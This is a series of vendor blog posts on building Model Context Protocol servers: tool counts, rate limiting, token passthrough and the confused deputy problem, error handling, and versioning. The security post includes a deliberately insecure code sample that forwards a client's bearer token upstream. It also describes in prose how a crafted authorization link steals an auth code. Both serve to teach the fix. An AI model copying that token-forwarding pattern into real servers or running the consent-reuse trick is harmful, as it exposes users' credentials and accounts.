MCPOrbit for macOS](/api/download) --- # How many tools should an MCP server have? URL: https://mcporbit.com/blog/how-many-tools-should-an-mcp-server-have Author: Mark, Head of Marketing, MCPOrbit Published: 2026-08-17 Updated: 2026-09-04 Category: Explainer Tags: MCP, Tool Design, AI Agents, Context Window, Explainer Most MCP clients handle 15 to 20 tools well and stumble past 40. This covers why tool count hurts AI accuracy, and how to check a server's tools first. Most Model Context Protocol (MCP) clients handle 15 to 20 tools per task well. Performance drops once a single MCP server, or a stack of connected MCP servers, pushes past 40 tools. The fix is not one giant server. It is fewer, focused servers, and checking a server's tool count before you connect it. This post covers why tool count hurts accuracy and what the real limits are across popular clients. It also covers how to check a server's tools before you wire it into your AI assistant. **What you will learn** - Why each extra tool costs tokens and attention, not clutter alone. - The soft and hard tool-count limits used by OpenAI, Cursor, GitHub Copilot, and Claude Code. - Why 5 to 15 tools per server beats one server with 50. - How to see a server's full tool list before you connect it, using a tool explorer. ## Why do more MCP tools make an AI agent worse? Every tool you connect adds its name, description, and input schema to the model's context window. That is the pool of text the model reads before it responds. More tools means less of that pool is left for your actual request. Think of the context window like a desk. Each tool description is a folder on that desk. Ten folders and you still find things fast. Eighty folders and you spend more time searching than working. A single busy MCP server can add tens of thousands of tokens to list its tools alone. Connect five or six servers like that and a model can burn through a large share of its context window before it reads your message. Beyond the token cost, more tools make it harder for the model to pick the right one. Tests on tool-calling models show accuracy drops as the list of available tools grows, because similar-sounding tools start to blur together. ## How many tools can an MCP client handle? Most MCP clients set two different numbers: a hard cap and a lower, softer recommendation. The hard cap is the most tools the client will accept. The recommendation is the number that keeps answers accurate. - OpenAI: a hard cap of 128 tools, with guidance to aim for fewer than 20 for the best accuracy. - Cursor: caps MCP tools at 40 for stability. - GitHub Copilot: a hard cap of 128 tools. - Claude Code: tool selection gets noticeably worse once 15 to 20 tools are active at the same time. These numbers change as vendors ship updates, so treat them as a range, not a fixed rule. The pattern holds across every client: the hard cap sits far above the number that works well. ## What is a safe tool count for a single MCP server? Aim for 5 to 15 tools per MCP server, and treat 20 as a warning sign. A server with 40 or 50 tools is not being generous. It is asking the model to search a long menu on every request. An MCP server is like a restaurant kitchen. A short, focused menu lets the kitchen, and the customer, decide fast. A menu with 200 items slows everyone down, even if the kitchen can technically cook all of them. If your server naturally needs more than 15 to 20 tools, split it. A `github-issues` server and a `github-actions` server are two focused menus. One `github-everything` server with 60 tools is one long menu nobody reads in full. ## How do you check a server's tool count before you connect it? Open the server in a client that lists every tool, its description, and its input schema. Do this before you decide to connect it to your AI assistant. Reading the full list up front is the only reliable way to know what you are adding to your context window. - Add the server's connection details, stdio or HTTP, to a client with a tool explorer. - Open the tool explorer and read every tool name and description. - Count the tools. If the list runs past 15 to 20, decide which ones you need. - Test a few tools directly, without an AI assistant in the loop, before you connect the server to one. [MCPOrbit](/) is a free Mac app that connects to an MCP server and lists every tool it exposes. It shows the full description and input schema in a tool explorer. You can browse the list and test individual tools by hand, without writing any code and without wiring the server into an AI assistant first. That matters because most AI assistants only show you the tool count after you have already connected a server. By then it has already eaten into your context window. Checking first means you decide whether a server's tool list earns its place before your agent ever sees it. ## Frequently asked questions ## Frequently asked questions ### How many tools should one MCP server expose? Aim for 5 to 15 tools per Model Context Protocol (MCP) server. Once a single server passes 20 tools, split it into smaller, focused servers so an AI assistant can find the right tool faster. ### What happens when an AI agent has too many MCP tools connected? The agent spends more of its context window reading tool definitions instead of your request, and it more often picks the wrong tool. Tests on tool-calling models show accuracy drops as the tool list grows past 20 to 40 tools. ### Is there a hard limit on how many MCP tools a client accepts? Yes, and it varies by client. OpenAI accepts up to 128 tools and GitHub Copilot accepts up to 128, while Cursor caps MCP tools at 40. Those are ceilings, not targets. Accuracy drops well before you reach them. ### How do I see how many tools an MCP server has before connecting it? Open the server in a client with a tool explorer, such as MCPOrbit. Read its full tool list, descriptions, and schemas before wiring it into an AI assistant. That lets you judge the tool count first. ### Does combining several small MCP servers cause the same problem as one big server? Yes. An AI assistant sees the combined tool list from every connected server at once. Five servers with 20 tools each add up to 100 tools in context, the same problem as one 100-tool server. The answer to how many tools is too many comes down to checking the list before you decide, not after. MCPOrbit's free tool explorer for macOS lets you browse and test any MCP server's full tool list before you connect it to an AI assistant. [Adding your server to MCPOrbit](/blog/add-an-mcp-server-to-mcporbit) takes one short form. [Download MCPOrbit for macOS](/api/download) --- # How to rate limit an MCP server (and handle 429s the right way) URL: https://mcporbit.com/blog/rate-limit-your-mcp-server Author: Mark, Head of Marketing, MCPOrbit Published: 2026-08-17 Updated: 2026-09-04 Category: Tutorial Tags: MCP, Rate Limiting, Reliability, Tutorial Rate limiting is the top production failure mode for MCP servers in 2026. Here is a token-bucket limiter, a sliding-window variant, and the one rule that keeps agents stable: bubble the 429 back to the model, never retry inside the turn. To rate limit an MCP server, meter requests per client with a token bucket, and when a caller is over the limit return an MCP tool error with a Retry-After hint instead of doing the work. The one rule that matters: never retry inside the model's turn. Bubble the 429 back to the agent and let it decide when to try again. Rate limiting is the single most common way MCP servers fall over in production in 2026. An agent will happily fire the same tool four or five times in one turn, and a server with no limiter either melts its upstream API or gets throttled by it. The failure that turns a slow request into an outage is almost always the same: the server retries the throttled call inside the turn, the retries stack, and the whole request budget burns before the model gets an answer. This guide shows the limiter, the correct error response, and the upstream-call pattern that keeps a burst from becoming a cascade. **Key takeaways** - Meter per client, not globally. A token bucket keyed on the authenticated client ID gives each caller its own burst and refill rate. - Over the limit is an MCP tool error, not a thrown exception. Return `isError: true` with a plain-language Retry-After so the model can back off. - Never retry a 429 inside the turn. Cascading in-turn retries are the number one cause of MCP production outages. - Throttle your upstream too. If a downstream API returns 429, surface it; do not silently retry against it. - Token bucket for burst tolerance; sliding window when you need strict fairness across clients in a fixed window. ## How do you rate limit an MCP server? Use a token bucket. Each client gets a bucket that holds a fixed number of tokens (the burst) and refills at a steady rate (the sustained limit). Every tool call removes a token; if the bucket is empty, the call is refused and the bucket tells you how long until the next token is available. This tolerates short bursts while capping the sustained rate, which matches how agents actually behave: quiet, then a flurry of calls, then quiet again. ```typescript // token-bucket.ts // A per-client token bucket. Burst = capacity, sustained = refillPerSec. export class TokenBucket { private tokens: number private lastRefill: number constructor(private capacity: number, private refillPerSec: number) { this.tokens = capacity this.lastRefill = Date.now() } take(cost = 1): { ok: boolean; retryAfterMs: number } { const now = Date.now() const refill = ((now - this.lastRefill) / 1000) * this.refillPerSec this.tokens = Math.min(this.capacity, this.tokens + refill) this.lastRefill = now if (this.tokens >= cost) { this.tokens -= cost return { ok: true, retryAfterMs: 0 } } const deficit = cost - this.tokens return { ok: false, retryAfterMs: Math.ceil((deficit / this.refillPerSec) * 1000) } } } const buckets = new Map() // 20-request burst, 5 requests/second sustained, per client. export function bucketFor(clientId: string): TokenBucket { let b = buckets.get(clientId) if (!b) { b = new TokenBucket(20, 5) buckets.set(clientId, b) } return b } ``` ## Return a 429 the model can act on, and don't retry inside the turn When a caller is over its limit, do not throw and do not sleep-then-retry. Return a normal MCP tool result with `isError: true` and a message that states the limit and the wait in seconds. The model reads that text, backs off, and re-calls later in a fresh turn. This is the entire difference between a server that degrades gracefully and one that takes its upstream down with it. ```typescript // server.ts import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js" import { z } from "zod" import { bucketFor } from "./token-bucket.js" const server = new McpServer({ name: "orders", version: "1.0.0" }) server.registerTool( "search_orders", { description: "Search orders by customer email.", inputSchema: { email: z.string().email() }, }, async ({ email }, extra) => { // Prefer the authenticated client from validated auth; fall back to a header. const clientId = extra.authInfo?.clientId ?? extra.requestInfo?.headers["mcp-client-id"]?.toString() ?? "anonymous" const { ok, retryAfterMs } = bucketFor(clientId).take() if (!ok) { const seconds = Math.ceil(retryAfterMs / 1000) return { isError: true, content: [ { type: "text", text: `Rate limited. Retry after ${seconds}s. This server allows 5 requests/second per client, with a burst of 20.`, }, ], } } const orders = await findOrders(email) // your real work return { content: [{ type: "text", text: JSON.stringify(orders) }] } }, ) ``` > **The one rule** > > Never retry a throttled call inside the model's turn. Return the 429 as a tool error and let the agent decide when to try again. In-turn retries stack across the model's own retries and are the fastest way to turn one slow tool into a full outage. ## Use a sliding window when you need strict fairness A token bucket smooths bursts, but it does not enforce a hard cap of exactly N requests in any rolling window. When a downstream contract says '100 requests per 60 seconds, no exceptions,' use a sliding-window counter instead: record the timestamp of each request, drop timestamps older than the window, and refuse once the count hits the limit. It costs a little memory per client but never lets a burst slip past the ceiling. ```typescript // sliding-window.ts export class SlidingWindow { private hits: number[] = [] constructor(private limit: number, private windowMs: number) {} take(): { ok: boolean; retryAfterMs: number } { const now = Date.now() const cutoff = now - this.windowMs // Drop timestamps that have aged out of the window. this.hits = this.hits.filter((t) => t > cutoff) if (this.hits.length < this.limit) { this.hits.push(now) return { ok: true, retryAfterMs: 0 } } // The window frees up when the oldest hit ages out. const retryAfterMs = this.hits[0] + this.windowMs - now return { ok: false, retryAfterMs } } } // 100 requests per 60 seconds, strict. const window = new SlidingWindow(100, 60_000) ``` ## Throttle your upstream calls, not just your clients Client-side limiting protects you from your callers. It does nothing for the API your tools call. If that upstream returns a 429, the correct move is the same rule again: do not retry it in place. Read its Retry-After header, wrap it as an MCP tool error, and hand the wait back to the model. The agent pauses; your server does not spin. ```typescript // upstream.ts export class UpstreamRateLimit extends Error { constructor(public retryAfterSec: number) { super(`upstream rate limited; retry after ${retryAfterSec}s`) } } export async function callUpstream(url: string, token: string) { const res = await fetch(url, { headers: { authorization: `Bearer ${token}` }, }) if (res.status === 429) { const retryAfter = Number(res.headers.get("retry-after") ?? "1") // Do NOT retry here. Surface it so the agent can back off. throw new UpstreamRateLimit(retryAfter) } if (!res.ok) throw new Error(`upstream ${res.status}`) return res.json() } // In the tool handler: // try { return ok(await callUpstream(url, token)) } // catch (e) { // if (e instanceof UpstreamRateLimit) // return { isError: true, content: [{ type: "text", // text: `Upstream is rate limited. Retry after ${e.retryAfterSec}s.` }] } // throw e // } ``` ## Run it in one command ```bash npm i @modelcontextprotocol/sdk@1.30.0 zod@3 npx tsx server.ts ``` Point an MCP client at the server and call the tool in a tight loop. The first 20 calls succeed, then you get clean 429 tool errors with a wait in seconds, then throughput settles at five per second. No thrown exceptions, no upstream meltdown, and the agent simply paces itself. - Key the limiter on the authenticated client ID so one noisy caller cannot starve the rest. - In-memory buckets reset when the process restarts; behind a load balancer, back them with Redis so limits hold across instances. - Set the sustained rate below your upstream's published limit, not at it, to leave headroom for retries that happen in later turns. - Log every 429 with the client ID and the tool name. A client that hits the limit constantly is a bug in the agent, not traffic to accommodate. - Pair this with proper tool error semantics so a rate-limit error reads the same way as any other recoverable failure. --- ## Frequently asked questions ## Frequently asked questions ### How do I rate limit an MCP server? Meter requests per client with a token bucket: each client gets a burst capacity and a steady refill rate, and every tool call removes a token. When the bucket is empty, return an MCP tool error with a Retry-After hint instead of doing the work. Key the bucket on the authenticated client ID so callers are limited independently. ### Should an MCP server retry when it hits a rate limit? No. Retrying a throttled call inside the model's turn is the most common cause of MCP production outages. Return the 429 as a tool error with the wait in seconds and let the agent back off and re-call in a later turn. The server should never sleep-and-retry in place. ### Token bucket or sliding window for MCP rate limiting? Use a token bucket when you want to tolerate short bursts while capping the sustained rate, since it fits how agents call tools. Use a sliding-window counter when a downstream contract requires a strict cap of exactly N requests per fixed window, because a bucket can let a burst briefly exceed that ceiling. ### How should an MCP server report a rate limit to the model? Return a normal tool result with isError set to true and a plain-language message stating the limit and the retry time in seconds, for example: 'Rate limited. Retry after 3s. This server allows 5 requests/second per client.' Models read that text and pace their calls; a thrown exception or an opaque 500 gives them nothing to act on. ### Do in-memory rate limiters work behind a load balancer? Not on their own. In-memory buckets are per-process, so with multiple instances each one enforces only a fraction of your intended limit. Back the counters with a shared store like Redis so the limit holds across every instance, which is straightforward now that the 2026-07-28 spec makes MCP servers stateless and horizontally scalable. [Add your server to MCPOrbit](/blog/add-an-mcp-server-to-mcporbit), call the tool repeatedly, and watch for the 429 your limiter is supposed to return. A limiter that never fires and one that fires too early look the same from the code. Pair this with our guides on handling errors in an MCP server and making your MCP server stateless. [Download MCPOrbit for macOS](/api/download) --- # MCP token passthrough and the confused deputy problem URL: https://mcporbit.com/blog/mcp-server-token-passthrough-confused-deputy Author: Mark, Head of Marketing, MCPOrbit Published: 2026-08-16 Updated: 2026-09-04 Category: Security Tags: MCP, Security, OAuth, Authorization The 2026-07-28 MCP spec forbids passing a client's token through to upstream APIs and requires audience-bound tokens. Here is the anti-pattern and the fix. An MCP server must never forward the token it received from a client to an upstream API. The 2026-07-28 Model Context Protocol (MCP) spec calls this token passthrough and forbids it. Your server accepts only tokens minted for its own audience, and it uses its own credentials to call anything downstream. This one rule closes two real holes. Token passthrough lets a token meant for your server be replayed against a service it was never scoped for. The confused deputy problem lets an attacker ride your server's existing consent at an upstream authorization server to steal an auth code. Both come from the same mistake: treating the client's token as a universal key. Here is what the spec requires, the code that enforces it, and the upstream-call pattern that replaces passthrough. **Key takeaways** - Token passthrough is banned. An MCP server must reject any access token whose audience is not the server itself. - Validate the `aud` claim on every request. A token minted for another service is a 401, not a free pass. - To call an upstream API, get a separate token bound to that API. Never reuse the client's token. - The confused deputy problem hits proxy servers with a static upstream client ID. Fix it with fresh user consent per client. - Audience-bound tokens (RFC 8707) and per-client consent are the two controls that shut both attacks. ## What is token passthrough, and why does the MCP spec forbid it? Token passthrough is when an MCP server takes the `Authorization` header it received and reuses that same token to call a different service. It looks convenient. The client already sent a valid token, so why mint another? The problem is audience. An OAuth 2.1 access token is issued for one resource, named in its `aud` claim under RFC 8707 resource indicators. A token your server accepts was scoped for your server. Forwarding it to an upstream API asks that API to trust a credential it never issued. When servers pass tokens through, three guarantees break. Audience validation stops meaning anything, because tokens flow to resources they were never issued for. Rate limits and abuse controls on the upstream API attribute traffic to the wrong party. And a single leaked token now reaches every service in the chain instead of one. The spec is blunt for a reason: an MCP server must not accept tokens that were not issued for it, and must not forward client tokens to upstream services. ```javascript // ANTI-PATTERN: do not do this. // Forwarding the client's token to an upstream API is token passthrough. app.post("/mcp", async (req, res) => { const clientToken = req.headers.authorization // token issued for THIS server const upstream = await fetch("https://api.example.com/data", { headers: { authorization: clientToken }, // replayed at the wrong audience }) const data = await upstream.json() // the upstream API now trusts a token it never issued }) ``` ## How do you validate the token audience? The fix starts at the door. Before your server runs any tool, it validates the incoming token and checks that the `aud` claim equals your server's resource identifier. If it does not match, reject with 401. This is the single control that makes token passthrough impossible to do by accident, because a token scoped for another service fails the check. ```typescript // server: validate every incoming token before running a tool. // jose@6.1.0, Node 25. import { createRemoteJWKSet, jwtVerify } from "jose" const RESOURCE = "https://mcp.example.com" // this server's identifier const jwks = createRemoteJWKSet( new URL("https://auth.example.com/.well-known/jwks.json"), ) export async function requireToken(authHeader) { const token = authHeader?.replace(/^Bearer /i, "") if (!token) throw new HttpError(401, "missing token") const { payload } = await jwtVerify(token, jwks, { issuer: "https://auth.example.com", audience: RESOURCE, // RFC 8707: token must be for us }) return payload // sub, scope, and the rest } ``` `jwtVerify` throws if the signature, issuer, expiry, or audience is wrong. Passing `audience: RESOURCE` is the line that enforces the spec. A token whose `aud` names a different service never reaches your tools. ## How should an MCP server call an upstream API without passthrough? Your server needs its own credential for the upstream service. It should never borrow the client's. There are two clean patterns, and both keep the client's token bound to your server only. ### Pattern 1: the server's own client credentials If the upstream call is not on behalf of a specific user, use the OAuth 2.1 client credentials grant. Your server authenticates as itself and gets a token whose audience is the upstream API. ```javascript // server-to-service: the server gets its OWN token for the upstream API. async function upstreamToken() { const res = await fetch("https://auth.example.com/token", { method: "POST", headers: { "content-type": "application/x-www-form-urlencoded" }, body: new URLSearchParams({ grant_type: "client_credentials", client_id: process.env.UPSTREAM_CLIENT_ID, client_secret: process.env.UPSTREAM_CLIENT_SECRET, resource: "https://api.example.com", // audience is the upstream, not us }), }) const { access_token } = await res.json() return access_token } ``` ### Pattern 2: token exchange for a user-bound call If the upstream call must act as the user, exchange the incoming token for a new one using OAuth token exchange (RFC 8693). Your authorization server issues a fresh token whose audience is the upstream API and whose subject is the same user. The client's original token still never leaves your server. ```javascript // RFC 8693 token exchange: swap our audience-bound token for an upstream one. async function exchangeForUpstream(subjectToken) { const res = await fetch("https://auth.example.com/token", { method: "POST", headers: { "content-type": "application/x-www-form-urlencoded" }, body: new URLSearchParams({ grant_type: "urn:ietf:params:oauth:grant-type:token-exchange", subject_token: subjectToken, subject_token_type: "urn:ietf:params:oauth:token-type:access_token", resource: "https://api.example.com", // the new audience }), }) const { access_token } = await res.json() return access_token // audience is the upstream API } ``` Both patterns share one property: the token that reaches the upstream API was issued for that API. Audience validation on the upstream side now works, and a token leaked from your server cannot be replayed anywhere else. ## What is the confused deputy problem in an MCP server? The confused deputy problem shows up when your MCP server acts as a proxy in front of a third-party authorization server, using a single static client ID. The server is the deputy. It holds authority, an existing consent grant, that an attacker tricks it into using on their behalf. Here is the attack. Your server is registered with an upstream authorization server under one static client ID. A user consented to that client once, so the upstream server set a consent cookie and stopped showing the approval screen for it. An attacker sends the victim a crafted authorization link that points at the upstream server, names your static client ID, and sets a `redirect_uri` the attacker controls. Because the consent cookie is already present, the upstream server skips the prompt and redirects the auth code straight to the attacker. The attacker exchanges it and now holds a token issued through your server's identity. > **The root cause** > > A static client ID plus a skipped consent screen means the authorization server cannot tell a real request from a forged one. The server's standing consent becomes a key anyone can borrow. ## How do you prevent the confused deputy attack? The spec's rule is direct. An MCP proxy server that uses a static client ID must obtain the user's consent for each dynamically registered client before it forwards the request to the third-party authorization server. Do not rely on the upstream consent cookie. Prompt on your own side, every time a new client is involved. - Require your own consent screen for each downstream client, even when the upstream server would skip its prompt. - Validate `redirect_uri` against an exact allow-list. Never reflect a caller-supplied redirect without checking it. - Prefer per-client identity over one shared static client ID. Client ID Metadata Documents (CIMD) in the 2026-07-28 spec give each client its own verifiable identity. - Bind the authorization request to the specific client with PKCE and a `state` value you generate and check. The last point connects to the rest of your auth stack. If you already moved off Dynamic Client Registration to CIMD, each client carries its own identity document, so the single-static-client trap does not apply. Audience-bound tokens and per-client consent are the two controls that close token passthrough and the confused deputy at once. --- ## A short checklist before you ship - Every incoming token is verified for signature, issuer, expiry, and an `aud` that equals this server. - No code path forwards the client's `Authorization` header to another service. - Upstream calls use client credentials or RFC 8693 token exchange, with the upstream API as the audience. - Proxy flows require your own per-client consent and validate every `redirect_uri`. ## Frequently asked questions ### What is token passthrough in MCP? Token passthrough is when an MCP server reuses the access token a client sent it to call a different upstream service. The 2026-07-28 MCP spec forbids it. A token is issued for one audience, so forwarding it asks another service to trust a credential it never issued. ### Why can't my MCP server forward the client's token to an upstream API? Because the token's `aud` claim names your server, not the upstream API. Forwarding it breaks audience validation and lets one leaked token reach every service in the chain. Get a separate token for the upstream call using client credentials or RFC 8693 token exchange. ### What is the confused deputy problem in MCP? It is an attack on an MCP server that proxies a third-party authorization server with a static client ID. An attacker reuses the server's existing consent to get an auth code redirected to themselves. The fix is to require fresh user consent for each client and validate every `redirect_uri`. ### How do I validate an MCP access token? Verify the token's signature against the issuer's JWKS, then check `iss`, `exp`, and that `aud` equals your server's resource identifier. A library like `jose` does all four in one `jwtVerify` call. Reject with 401 if any check fails. ### Does moving to CIMD stop the confused deputy problem? It helps. Client ID Metadata Documents give each client its own verifiable identity, so you are not relying on one shared static client ID that a forged request can borrow. You still need per-client consent and strict `redirect_uri` checks. ### Is token passthrough ever allowed? No. The spec states an MCP server must not accept tokens that were not issued for it. If you need to act on an upstream service, obtain a token whose audience is that service. There is no compliant shortcut that forwards the original token. Token passthrough is easy to ship by accident and hard to see from inside the server. [Add your server in MCPOrbit](/blog/add-an-mcp-server-to-mcporbit), call a tool, and look at what the token actually reaches. Pair this with our guides on adding OAuth 2.1 to a remote MCP server and migrating auth from DCR to CIMD. [Download MCPOrbit for macOS](/api/download) --- # How to handle errors in an MCP server URL: https://mcporbit.com/blog/handle-errors-in-mcp-server Author: MCPOrbit Team, Engineering, MCPOrbit Published: 2026-08-15 Updated: 2026-09-04 Category: Field notes Tags: MCP, Error Handling, JSON-RPC, Engineering, Reliability Handle errors in an MCP server by splitting them in two: return a tool result with isError true when the tool ran and failed, and a JSON-RPC error only when the request itself is invalid. Handle errors in an MCP server by splitting them into two kinds. When a tool runs and fails, return a normal tool result with `isError` set to true and a message describing what went wrong, so the model can read it and react. When the request itself is invalid, like an unknown tool or malformed arguments, return a JSON-RPC protocol error with a numeric code, so the client handles it before the model is ever involved. The mistake most people make is treating every failure the same way. A database timeout and a call to a tool that does not exist are not the same event. One happened inside your tool while it was working as designed, and the model should see it. The other means the request never should have reached your tool logic at all. Model Context Protocol (MCP) gives you a separate channel for each, and using the right one is the difference between a model that recovers and a model that stalls. **The short version** - A tool error is a valid request that failed while running: return a result with `isError: true` and a clear text message - A protocol error is an invalid request: return a JSON-RPC error object with a numeric `code` - Tool errors are visible to the model, so it can retry, ask for input, or pick another tool - Protocol errors are handled by the client and usually never reach the model - In the TypeScript SDK, throwing inside a tool handler is caught and turned into an `isError` result for you - Write error messages the model can act on, and never leak stack traces, secrets, or internal hostnames ## What is the difference between a tool error and a protocol error in MCP? MCP runs on JSON-RPC 2.0, which already has an error mechanism: a response can carry a `result` or an `error`, never both. MCP keeps that layer for protocol-level problems, and adds a second, softer channel on top of it for tool execution problems. The softer channel is a successful JSON-RPC response whose `result` is a tool result that happens to be flagged with `isError: true`. The test is simple. Ask whether the request was well formed and named a real tool with valid arguments. If yes, your tool ran, and any failure from here is a tool error that belongs in the result. If no, the request was broken before your tool logic started, and that is a protocol error. ```text Situation Which error? --------------------------------------------- ---------------------- Upstream API returned 500 or timed out Tool error (isError) Record not found for a valid query Tool error (isError) Business rule rejected the input Tool error (isError) Third-party auth token expired Tool error (isError) Client called a tool that does not exist Protocol error (-32602) Arguments failed the tool's input schema Protocol error (-32602) Method name is not a real MCP method Protocol error (-32601) Request body is not valid JSON Protocol error (-32700) Unexpected server bug before the tool ran Protocol error (-32603) ``` > **The rule of thumb** > > If the tool started running, the failure is a tool error and goes in the result with isError true. If the tool never got to run, it is a protocol error and goes in the JSON-RPC error field. When in doubt, ask whether the model could do anything useful with the message. If it could, make it a tool error. ## How do you return a tool error the model can see? A tool error is an ordinary `tools/call` response. The JSON-RPC layer says success, and the tool result inside sets `isError: true` with `content` that explains the failure in plain text. The client passes that text back to the model as the tool's output, so the model can decide what to do next. This is why the message matters: it is not a log line, it is an instruction the model will read. ```json // tools/call response for a tool that ran and failed { "jsonrpc": "2.0", "id": 7, "result": { "content": [ { "type": "text", "text": "Weather lookup failed: no city named 'Atlantpis'. Check the spelling or try a nearby city." } ], "isError": true } } ``` In the TypeScript SDK you return that shape straight from the tool handler. Set `isError: true` and put an actionable message in the content. The example below pins `@modelcontextprotocol/sdk@1.30.0` and `zod@4.4.3` on Node 25, the same versions the rest of our tutorials use. ```javascript // Return a tool error the model can read and recover from server.registerTool( "get_weather", { title: "Get weather", description: "Get the current weather for a city.", inputSchema: { city: z.string() }, }, async ({ city }) => { const res = await fetch(`https://api.example.com/weather?city=${city}`); if (res.status === 404) { return { content: [{ type: "text", text: `No city named '${city}'. Check the spelling or try a nearby city.` }], isError: true, }; } if (!res.ok) { return { content: [{ type: "text", text: `Weather service is unavailable right now (status ${res.status}). Try again shortly.` }], isError: true, }; } const data = await res.json(); return { content: [{ type: "text", text: `It is ${data.tempC}C and ${data.summary} in ${city}.` }] }; } ); ``` ## When should you return a JSON-RPC protocol error instead? Return a protocol error when the request is not a valid call in the first place. The client asked for a tool that is not registered, sent arguments that do not match the tool's input schema, or sent something that is not a real MCP method. These are faults in the request, not in the world your tool talks to, and the model cannot fix them by trying again with different reasoning. ```json // tools/call response when the arguments are invalid { "jsonrpc": "2.0", "id": 8, "error": { "code": -32602, "message": "Invalid params: 'city' is required and must be a string" } } ``` Most protocol errors are raised for you. When you declare a tool's `inputSchema`, the SDK validates incoming arguments against it and returns `-32602` on a mismatch before your handler runs. It returns `-32601` for an unknown method and `-32700` for a body that is not valid JSON. You rarely hand-write these, and that is the point: schema-level failures are the protocol's job, so let it do them. - -32700 Parse error: the request body was not valid JSON. - -32600 Invalid Request: the JSON was valid but not a valid JSON-RPC request. - -32601 Method not found: the method name is not a real MCP method. - -32602 Invalid params: arguments failed the tool's declared input schema. - -32603 Internal error: an unexpected server fault before or around dispatch. > **Do not leak internals** > > An error message crosses a trust boundary. Never put a raw stack trace, a database DSN, an internal hostname, or an API key into either a tool error or a protocol error. Say what failed and what the caller can do about it. Log the full detail on your side, keyed by the request id, and return the short version. ## Why does isError live in a successful result and not a JSON-RPC error? Because the model needs to see it. A JSON-RPC error is handled by the client transport and is treated as a broken call, so it often never reaches the model as tool output. If a valid tool call fails and you report it as a protocol error, the model is left blind: it asked for the weather, got nothing usable back, and cannot tell whether to retry, rephrase, or give up. An `isError` result keeps the model in the loop. It comes back as normal tool output, so the model reads `No city named 'Atlantpis'` and can correct the spelling on the next call, or tell the user the service is down. That feedback loop is the whole reason MCP added a tool-level error channel instead of reusing JSON-RPC errors for everything. ## What makes a good MCP error message? Write the message for the model that will read it, not for a human tailing logs. State what failed, why, and what to try next, in one or two plain sentences. Include the value that caused the problem when it is safe to echo. Skip the codes and the jargon that the model cannot act on. ```text Weak : "Error: request failed" Weak : "NullPointerException at WeatherService.java:214" Strong : "No city named 'Atlantpis'. Check the spelling or try a nearby city." Strong : "Weather service is unavailable right now (status 503). Try again shortly." Strong : "That date range is over 90 days. Narrow it to 90 days or fewer and retry." ``` ## How do you catch exceptions so one bad tool does not crash the server? In the TypeScript SDK you get a safety net for free: if a tool handler throws, the SDK catches the exception and returns it as an `isError` result rather than letting it take down the connection. That is sensible default behavior, but a raw exception message is rarely a good message for the model, so it is worth shaping your own. ```javascript // Wrap a handler so thrown exceptions become clean, model-readable tool errors function safeTool(handler) { return async (args, extra) => { try { return await handler(args, extra); } catch (err) { // Log the full detail on your side; return only the safe summary. console.error("tool failed", { name: extra?.toolName, err }); const message = err instanceof Error ? err.message : "Unexpected error while running the tool."; return { content: [{ type: "text", text: `The tool could not complete: ${message}` }], isError: true, }; } }; } server.registerTool( "get_weather", { title: "Get weather", description: "Get the current weather for a city.", inputSchema: { city: z.string() } }, safeTool(async ({ city }) => { // ... normal logic, free to throw on unexpected failures ... }) ); ``` The wrapper gives you one place to decide what leaves the server. Expected failures still return their own tailored `isError` messages inside the handler. Unexpected exceptions get caught, logged in full, and reduced to a short, safe summary. Either way the connection stays up and the model gets something it can read. ## Frequently asked questions ## Frequently asked questions ### Should an MCP tool return isError or throw a JSON-RPC error when it fails? Return a result with `isError: true` when the tool ran and the operation failed, like an upstream timeout or a record that was not found. Use a JSON-RPC protocol error only when the request itself was invalid, like an unknown tool or arguments that fail the input schema. The `isError` result is visible to the model, so it can react; the protocol error is handled by the client. ### What are the JSON-RPC error codes MCP uses? MCP uses the standard JSON-RPC 2.0 codes: `-32700` parse error, `-32600` invalid request, `-32601` method not found, `-32602` invalid params, and `-32603` internal error. Argument validation failures against a tool's input schema come back as `-32602`. Servers may also define their own codes outside that reserved range for specific protocol-level conditions. ### Does the model see a JSON-RPC error from my MCP server? Usually not. A JSON-RPC error is handled by the client transport and treated as a failed call, so it typically does not reach the model as tool output. That is exactly why a failed-but-valid tool call should return an `isError` result instead: the model reads the message and can retry or change approach. ### What happens if my MCP tool handler throws an exception? In the TypeScript SDK the framework catches the exception and returns it as a tool result with `isError: true`, so a single failing tool does not crash the connection. The raw exception message is rarely ideal for a model, so wrap your handlers to log the full error and return a short, safe summary instead. ### How should I write an MCP error message? Write it for the model that reads it, not for your logs. Say what failed and what to try next in one or two plain sentences, and echo the offending value when it is safe. Never include stack traces, secrets, database strings, or internal hostnames; log those on your side keyed by the request id. [Connect your server in MCPOrbit](/blog/add-an-mcp-server-to-mcporbit) and call the failing tool by hand. You see the real isError results and JSON-RPC errors a client receives, so you catch a bad error path before an agent hits it. [Download MCPOrbit for macOS](/api/download) --- # How to version an MCP server without breaking clients URL: https://mcporbit.com/blog/version-mcp-server-without-breaking-clients Author: MCPOrbit Team, Engineering, MCPOrbit Published: 2026-08-14 Updated: 2026-09-04 Category: Field notes Tags: MCP, Versioning, Compatibility, Engineering, Reliability, Publishing Version an MCP server by keeping tool changes additive: add tools and optional fields, never rename, remove, or retype what clients already depend on. You version an MCP server by keeping every change to your tool set additive. Add new tools and new optional fields, and never rename, remove, or change the type of anything a client already calls. The tool names and input schemas you ship are a contract, and clients bind to that contract, so treat a rename the way you would treat deleting a public API endpoint. There are two kinds of versioning in play, and only one of them is yours to manage. The MCP protocol version is negotiated for you during `initialize` and is controlled by the spec. Your server's tool and resource surface is the part you own, and it is the part that breaks a client when you change it carelessly. This post is about the second one. **The short version** - A client binds to your tool names and input schemas, so those are your real compatibility contract - Additive changes are safe: new tools, new optional input fields, new output fields - Renaming a tool, removing a field, making an optional field required, or retyping a field are all breaking - To evolve a tool with a breaking change, add a new tool beside it and deprecate the old one, do not mutate it in place - Emit a `tools/list_changed` notification when the tool set changes at runtime so connected clients refresh ## What actually breaks a client when you change an MCP server? A client discovers your tools by calling `tools/list`, then calls them with `tools/call`. The model reads each tool's name, description, and input schema to decide when and how to invoke it. That means your compatibility surface is not your source code. It is the shape of `tools/list`: the set of tool names, each input schema, and the structure of what each tool returns. Anything a connected client or the model already reads can break it if you change it. A tool that vanishes from `tools/list` looks like a removed capability. An input field that changes from optional to required makes every existing call fail validation. An output field that disappears breaks any client that read it. None of these throw at build time on your side, which is why they slip through. ```text Change to your server Safe or breaking? -------------------------------------------- ----------------- Add a brand new tool Safe (additive) Add an optional input field to a tool Safe (additive) Add a field to a tool's output Safe (additive) Loosen a constraint (wider enum, higher max) Safe Improve a tool description 